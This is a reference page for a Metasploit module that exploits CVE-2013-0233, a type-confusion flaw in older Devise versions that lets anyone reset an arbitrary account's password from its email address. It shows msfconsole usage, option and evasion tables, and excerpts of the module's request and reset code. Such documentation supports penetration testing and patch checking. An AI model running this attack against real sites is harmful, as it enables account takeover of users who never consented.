Ruby on Rails Devise Authentication Password Reset - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/rails_devise_pass_reset metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Ruby on Rails Devise Authentication Password Reset
Module: auxiliary/admin/http/rails_devise_pass_reset
Source code: modules/auxiliary/admin/http/rails_devise_pass_reset.rb
Disclosure date: 2013-01-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2013-0233

The Devise authentication gem for Ruby on Rails is vulnerable to a password reset exploit leveraging type confusion. By submitting XML to rails, we can influence the type used for the reset_password_token parameter. This allows for resetting passwords of arbitrary accounts, knowing only the associated email address. This module defaults to the most common devise URIs and response values, but these may require adjustment for implementations which customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when backed by any database except PostgreSQL or SQLite3. Tested with v2.2.2, 2.1.2, and 2.0.4 on Rails 3.2.11. Patch applied to Rails 3.2.12 and 3.1.11 should prevent exploitation of this vulnerability, by quoting numeric values when comparing them with non numeric values.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/admin/http/rails_devise_pass_reset
msf auxiliary(rails_devise_pass_reset) > show targets
    ... a list of targets ...
msf auxiliary(rails_devise_pass_reset) > set TARGET target-id
msf auxiliary(rails_devise_pass_reset) > show options
    ... show and set options ...
msf auxiliary(rails_devise_pass_reset) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • TARGETEMAIL: The email address of target account

  • PASSWORD: The password to set

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Msfconsole Usage

Here is how the admin/http/rails_devise_pass_reset auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/rails_devise_pass_reset

msf6 auxiliary(admin/http/rails_devise_pass_reset) > show info

       Name: Ruby on Rails Devise Authentication Password Reset
     Module: auxiliary/admin/http/rails_devise_pass_reset
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-01-28

Provided by:
  joernchen
  jjarmoc

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  FLUSHTOKENS  true             yes       Flush existing reset tokens before trying
  MAXINT       10               yes       Max integer to try (tokens beginning with a higher int will fail)
  OBJECTNAME   user             yes       The user object name
  PASSWORD                      yes       The password to set
  Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT        80               yes       The target port (TCP)
  SSL          false            no        Negotiate SSL/TLS for outgoing connections
  TARGETEMAIL                   yes       The email address of target account
  TARGETURI    /users/password  yes       The request URI
  VHOST                         no        HTTP server virtual host

Description:
  The Devise authentication gem for Ruby on Rails is vulnerable to a 
  password reset exploit leveraging type confusion. By submitting XML 
  to rails, we can influence the type used for the 
  reset_password_token parameter. This allows for resetting passwords 
  of arbitrary accounts, knowing only the associated email address. 
  This module defaults to the most common devise URIs and response 
  values, but these may require adjustment for implementations which 
  customize them. Affects Devise < v2.2.3, 2.1.3, 2.0.5 and 1.5.4 when 
  backed by any database except PostgreSQL or SQLite3. Tested with 
  v2.2.2, 2.1.2, and 2.0.4 on Rails 3.2.11. Patch applied to Rails 
  3.2.12 and 3.1.11 should prevent exploitation of this vulnerability, 
  by quoting numeric values when comparing them with non numeric 
  values.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2013-0233
  OSVDB (89642)
  http://www.securityfocus.com/bid/57577
  http://blog.plataformatec.com.br/2013/01/security-announcement-devise-v2-2-3-v2-1-3-v2-0-5-and-v1-5-3-released/
  http://www.phenoelit.org/blog/archives/2013/02/05/mysql_madness_and_rails/index.html
  https://github.com/rails/rails/commit/921a296a3390192a71abeec6d9a035cc6d1865c8
  https://github.com/rails/rails/commit/26e13c3ca71cbc7859cc4c51e64f3981865985d8

Module Options

This is a complete list of options available in the admin/http/rails_devise_pass_reset auxiliary module:

msf6 auxiliary(admin/http/rails_devise_pass_reset) > show options

Module options (auxiliary/admin/http/rails_devise_pass_reset):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   FLUSHTOKENS  true             yes       Flush existing reset tokens before trying
   MAXINT       10               yes       Max integer to try (tokens beginning with a higher int will fail)
   OBJECTNAME   user             yes       The user object name
   PASSWORD                      yes       The password to set
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETEMAIL                   yes       The email address of target account
   TARGETURI    /users/password  yes       The request URI
   VHOST                         no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the admin/http/rails_devise_pass_reset auxiliary module:

msf6 auxiliary(admin/http/rails_devise_pass_reset) > show advanced

Module advanced options (auxiliary/admin/http/rails_devise_pass_reset):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the admin/http/rails_devise_pass_reset module can do:

msf6 auxiliary(admin/http/rails_devise_pass_reset) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the admin/http/rails_devise_pass_reset auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/rails_devise_pass_reset) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from server

Here is a relevant code snippet related to the "No response from server" error message:

67:	      'method'  => 'POST',
68:	      'data'    => postdata,
69:	    })
70:	
71:	    unless res
72:	      print_error("No response from server")
73:	      return false
74:	    end
75:	
76:	    if res.code == 200
77:	      error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]

Server returned error

Here is a relevant code snippet related to the "Server returned error" error message:

73:	      return false
74:	    end
75:	
76:	    if res.code == 200
77:	      error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
78:	      print_error("Server returned error")
79:	      vprint_error(error_text)
80:	      return false
81:	    end
82:	
83:	    return true

No response from server

Here is a relevant code snippet related to the "No response from server" error message:

111:	          'ctype'   => 'application/xml',
112:	          'data'    => xml,
113:	        })
114:	
115:	      unless res
116:	        print_error("No response from server")
117:	        return false
118:	      end
119:	
120:	      case res.code
121:	      when 200

Server returned error

Here is a relevant code snippet related to the "Server returned error" error message:

121:	      when 200
122:	        # Failure, grab the error text
123:	        # May need to tweak this for some apps...
124:	        error_text = res.body[/<div id=\"error_explanation\">\n\s+(.*?)<\/div>/m, 1]
125:	        if (report) && (error_text !~ /token/)
126:	          print_error("Server returned error")
127:	          vprint_error(error_text)
128:	          return false
129:	        end
130:	      when 302
131:	        # Success!

ERROR: received code <RES.CODE>

Here is a relevant code snippet related to the "ERROR: received code <RES.CODE>" error message:

129:	        end
130:	      when 302
131:	        # Success!
132:	        return true
133:	      else
134:	        print_error("ERROR: received code #{res.code}")
135:	        return false
136:	      end
137:	    }
138:	
139:	    print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report

No active reset tokens below <MAXINT> remain. Try a higher MAXINT.

Here is a relevant code snippet related to the "No active reset tokens below <MAXINT> remain. Try a higher MAXINT." error message:

134:	        print_error("ERROR: received code #{res.code}")
135:	        return false
136:	      end
137:	    }
138:	
139:	    print_error("No active reset tokens below #{datastore['MAXINT']} remain. Try a higher MAXINT.") if report
140:	    return false
141:	
142:	  end
143:	
144:	  def run

Failed to generate reset token

Here is a relevant code snippet related to the "Failed to generate reset token" error message:

149:	    end
150:	    # Generate a token for our account
151:	    print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
152:	    status = generate_token(datastore['TARGETEMAIL'])
153:	    if status == false
154:	      print_error("Failed to generate reset token")
155:	      return
156:	    end
157:	    print_good("Reset token generated successfully")
158:	
159:	    # Reset a password.  We're racing users creating other reset tokens.

Password reset worked successfully

Here is a relevant code snippet related to the "Password reset worked successfully" error message:

155:	      return
156:	    end
157:	    print_good("Reset token generated successfully")
158:	
159:	    # Reset a password.  We're racing users creating other reset tokens.
160:	    # If we didn't flush, we'll reset the account with the lowest ID that has a token.
161:	    print_status("Resetting password to \"#{datastore['PASSWORD']}\"...")
162:	    status = reset_one(datastore['PASSWORD'], true)
163:	    status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
164:	  end
165:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • joernchen
  • jjarmoc

Version

This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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